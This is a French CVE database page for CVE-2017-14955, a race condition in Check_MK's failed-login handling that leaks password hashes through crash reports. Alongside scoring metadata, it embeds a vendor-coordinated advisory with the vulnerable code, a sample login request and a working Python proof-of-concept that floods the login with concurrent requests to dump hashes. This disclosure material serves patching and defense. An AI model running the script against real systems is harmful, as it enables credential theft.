CVE-2017-14955 : Détail

CVE-2017-14955

5.9
/
Moyen
A01-Broken Access Control
1.34%V3
Network
2017-10-01
03h00 +00:00
2017-10-21
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Check_MK before 1.2.8p26 mishandles certain errors within the failed-login save feature because of a race condition, which allows remote attackers to obtain sensitive user information by reading a GUI crash report.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.9 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 43021

Date de publication : 2017-10-17 22h00 +00:00
Auteur : Julien Ahrens
EDB Vérifié : No

1. ADVISORY INFORMATION ======================= Product: Check_mk Vendor URL: https://mathias-kettner.de/check_mk.html Type: Race Condition [CWE-362] Date found: 2017-09-21 Date published: 2017-10-18 CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) CVE: CVE-2017-14955 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Check_mk v1.2.8p25 Check_mk v1.2.8p25 Enterprise older versions may be affected too. 4. INTRODUCTION =============== Check_MK is comprehensive IT monitoring solution in the tradition of Nagios. Check_MK is available as Raw Edition, which is 100% pure open source, and as Enterprise Edition with a lot of additional features and professional support. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== Check_mk is vulnerable to an unauthenticated information disclosure through a race condition during the authentication process when trying to authenticate with a valid username and an invalid password. On a failed login, the application calls the function save_users(), which performs two os.rename operations on the files "contacts.mk.new" and "users.mk.new" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py): [..] # Check_MK's monitoring contacts filename = root_dir + "contacts.mk.new" out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts)) out.close() os.rename(filename, filename[:-4]) # Users with passwords for Multisite filename = multisite_dir + "users.mk.new" make_nagios_directory(multisite_dir) out = create_user_file(filename, "w") out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n") out.write("multisite_users = \\\n%s\n" % pprint.pformat(users)) out.close() os.rename(filename, filename[:-4]) [...] When sending many concurrent authentication requests with an existing/valid username, such as: POST /check_mk/login.py HTTP/1.1 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---9519178121294961341040589727 Content-Length: 772 Connection: close Upgrade-Insecure-Requests: 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="filled_in" login ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" 1 ---9519178121294961341040589727 Content-Disposition: form-data; name="_origtarget" index.py ---9519178121294961341040589727 Content-Disposition: form-data; name="_username" omdadmin ---9519178121294961341040589727 Content-Disposition: form-data; name="_password" welcome ---9519178121294961341040589727 Content-Disposition: form-data; name="_login" Login ---9519178121294961341040589727-- Then it could happen that one of both os.rename() calls references a non- existing file, which has just been renamed by a previous thread. This causes the Python script to fail and throw a crash report, which discloses a variety of sensitive information, such as internal server paths, account details including hashed passwords: </pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator', 'contactgroups': ['all'], 'disable_notifications': False, 'email': u'[email protected]', 'enforce_pw_change': False, 'last_pw_change': 0, 'last_seen': 0.0, 'locked': False, 'num_failed': 0, 'pager': '', 'password': '$1$400000$13371337asdfasdf', 'roles': ['admin'], 'serial': 2}, A script to automatically exploit this vulnerability can be found on [0]. 6. POC ====== #!/usr/bin/python # Exploit Title: Check_mk <=3D v1.2.8p25 save_users() Race Condition # Version: <=3D 1.2.8p25 # Date: 2017-10-18 # Author: Julien Ahrens (@MrTuxracer) # Homepage: https://www.rcesecurity.com # Software Link: https://mathias-kettner.de/check_mk.html # Tested on: 1.2.8p25 # CVE:=09=09 CVE-2017-14955 # # Howto / Notes: # This scripts exploits the Race Condition in check_mk version 1.2.8p25 and # below as described by CVE-2017-14955. You only need a valid username to # dump all encrypted passwords and make sure to setup a local proxy to # catch the dump. Happy brute forcing ;-) import requests import threading try: =09from requests.packages.urllib3.exceptions import InsecureRequestWarning =09requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except: =09pass # Config Me target_url =3D "https://localhost/check_mk/login.py" target_username =3D "omdadmin" proxies =3D { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } def make_session(): =09v =3D requests.post(target_url, verify=3DFalse, proxies=3Dproxies, files= =3D{'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (No= ne, 'index.py'), '_username': (None, target_username), '_password': (None, = 'random'), '_login': (None, 'Login')}) =09return v.content NUM =3D 50 threads =3D [] for i in range(NUM): t =3D threading.Thread(target=3Dmake_session) threads.append(t) t.start() 7. RISK ======= To successfully exploit this vulnerability an unauthenticated attacker must only have network-level access to the application. The vulnerability allows remote attackers to trigger an exception, which discloses a variety of sensitive internal information such as: - Local server paths - Usernames - Passwords (hashed) - and user directory-specific attributes (i.e. LDAP) 8. SOLUTION =========== Update to 1.2.8p26. 9. REPORT TIMELINE ================== 2017-09-21: Discovery of the vulnerability 2017-09-21: Sent limited information to publicly listed email address 2017-09-21: Vendor responds and asks for details 2017-09-21: Full vulnerability details sent to vendor 2017-09-25: Vendor pushes fix to git 2017-10-01: MITRE assigns CVE-2017-14955 2017-10-16: Fix confirmed 2017-10-18: Public disclosure 10. REFERENCES ============= [0] https://www.rcesecurity.com/2017/10/cve-2017-14955-win-a-race-against-check-mk-to-dump-all-your-login-data/ [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14955

Products Mentioned

Configuraton 0

Checkmk>>Checkmk >> Version 1.2.3

Checkmk>>Checkmk >> Version 1.2.3

Checkmk>>Checkmk >> Version 1.2.4

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.5

Checkmk>>Checkmk >> Version 1.2.6

Checkmk>>Checkmk >> Version 1.2.6

Checkmk>>Checkmk >> Version 1.2.6

Checkmk>>Checkmk >> Version 1.2.7

Checkmk>>Checkmk >> Version 1.2.7

Checkmk>>Checkmk >> Version 1.2.7

Checkmk>>Checkmk >> Version 1.2.7

Checkmk>>Checkmk >> Version 1.2.7

Checkmk>>Checkmk >> Version 1.2.8

Checkmk>>Checkmk >> Version 1.2.8

Références

https://www.exploit-db.com/exploits/43021/
Tags : exploit, x_refsource_EXPLOIT-DB